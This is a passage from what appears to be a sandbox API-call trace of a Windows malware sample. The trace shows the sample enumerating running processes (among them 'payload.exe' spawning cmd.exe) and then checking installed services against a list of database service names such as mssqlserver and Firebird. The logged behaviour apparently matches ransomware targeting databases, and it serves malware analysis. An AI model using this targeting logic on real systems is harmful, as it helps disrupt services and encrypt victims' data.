returned 1 [0057.395] lstrlenW (lpString="svchost.exe") returned 11 [0057.395] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.396] lstrlenW (lpString="svchost.exe") returned 11 [0057.396] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.397] lstrlenW (lpString="svchost.exe") returned 11 [0057.397] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.397] lstrlenW (lpString="svchost.exe") returned 11 [0057.397] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.398] lstrlenW (lpString="svchost.exe") returned 11 [0057.398] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.399] lstrlenW (lpString="svchost.exe") returned 11 [0057.399] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.399] lstrlenW (lpString="svchost.exe") returned 11 [0057.399] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.400] lstrlenW (lpString="svchost.exe") returned 11 [0057.400] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.483] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.483] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.484] lstrlenW (lpString="svchost.exe") returned 11 [0057.484] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.485] lstrlenW (lpString="svchost.exe") returned 11 [0057.485] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.486] lstrlenW (lpString="audiodg.exe") returned 11 [0057.486] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0057.486] lstrlenW (lpString="sihost.exe") returned 10 [0057.486] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.487] lstrlenW (lpString="svchost.exe") returned 11 [0057.487] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0057.488] lstrlenW (lpString="taskhostw.exe") returned 13 [0057.488] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0057.488] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0057.488] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0057.489] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0057.489] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.490] lstrlenW (lpString="explorer.exe") returned 12 [0057.490] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0057.490] lstrlenW (lpString="Memory Compression") returned 18 [0057.490] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0057.491] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0057.491] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0057.492] lstrlenW (lpString="SearchUI.exe") returned 12 [0057.492] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0057.493] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0057.493] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.493] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.494] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0057.494] lstrlenW (lpString="taskhostw.exe") returned 13 [0057.494] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0057.495] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0057.495] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0057.496] lstrlenW (lpString="msoia.exe") returned 9 [0057.496] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0057.496] lstrlenW (lpString="UsoClient.exe") returned 13 [0057.496] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0057.497] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0057.497] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0057.498] lstrlenW (lpString="msoia.exe") returned 9 [0057.498] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0057.498] lstrlenW (lpString="taskhostw.exe") returned 13 [0057.498] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0057.499] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0057.499] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0057.500] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0057.500] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0057.500] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0057.500] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0057.501] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0057.501] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0057.502] lstrlenW (lpString="arcobviously.exe") returned 16 [0057.502] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0057.502] lstrlenW (lpString="preston disciplines.exe") returned 23 [0057.502] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0057.503] lstrlenW (lpString="boss.exe") returned 8 [0057.503] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0057.504] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0057.504] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0057.504] lstrlenW (lpString="placing.exe") returned 11 [0057.505] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0057.505] lstrlenW (lpString="heroes.exe") returned 10 [0057.505] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0057.506] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0057.506] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0057.507] lstrlenW (lpString="requirement moments.exe") returned 23 [0057.507] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0057.508] lstrlenW (lpString="sugar.exe") returned 9 [0057.508] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0057.509] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0057.509] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0057.510] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0057.510] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0057.515] lstrlenW (lpString="genealogy.exe") returned 13 [0057.516] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0057.517] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0057.517] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0057.518] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0057.518] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0057.519] lstrlenW (lpString="expenditure.exe") returned 15 [0057.519] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0057.519] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0057.519] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0057.520] lstrlenW (lpString="upgrading.exe") returned 13 [0057.520] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0057.521] lstrlenW (lpString="conservative.exe") returned 16 [0057.521] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0057.522] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0057.522] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0057.523] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0057.523] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0057.523] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0057.523] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0057.524] lstrlenW (lpString="gods violations duke.exe") returned 24 [0057.524] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.525] lstrlenW (lpString="dllhost.exe") returned 11 [0057.525] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.526] lstrlenW (lpString="conhost.exe") returned 11 [0057.526] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.527] lstrlenW (lpString="conhost.exe") returned 11 [0057.527] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0057.527] lstrlenW (lpString="payload.exe") returned 11 [0057.527] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.528] lstrlenW (lpString="cmd.exe") returned 7 [0057.528] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.529] lstrlenW (lpString="conhost.exe") returned 11 [0057.529] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0057.530] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0057.530] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.530] lstrlenW (lpString="conhost.exe") returned 11 [0057.530] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.531] lstrlenW (lpString="svchost.exe") returned 11 [0057.531] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0057.532] lstrlenW (lpString="mode.com") returned 8 [0057.532] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0057.825] CloseHandle (hObject=0x384) returned 1 [0057.826] Sleep (dwMilliseconds=0x1f4) [0058.347] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceca0 [0058.347] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0058.347] GetLastError () returned 0xea [0058.347] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ce8) returned 0x6f6108 [0058.348] EnumServicesStatusExW (in: hSCManager=0x6ceca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1ce8, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0058.348] CloseServiceHandle (hSCObject=0x6ceca0) returned 1 [0058.349] lstrlenW (lpString="Appinfo") returned 7 [0058.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.349] lstrlenW (lpString="AppXSvc") returned 7 [0058.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0058.349] 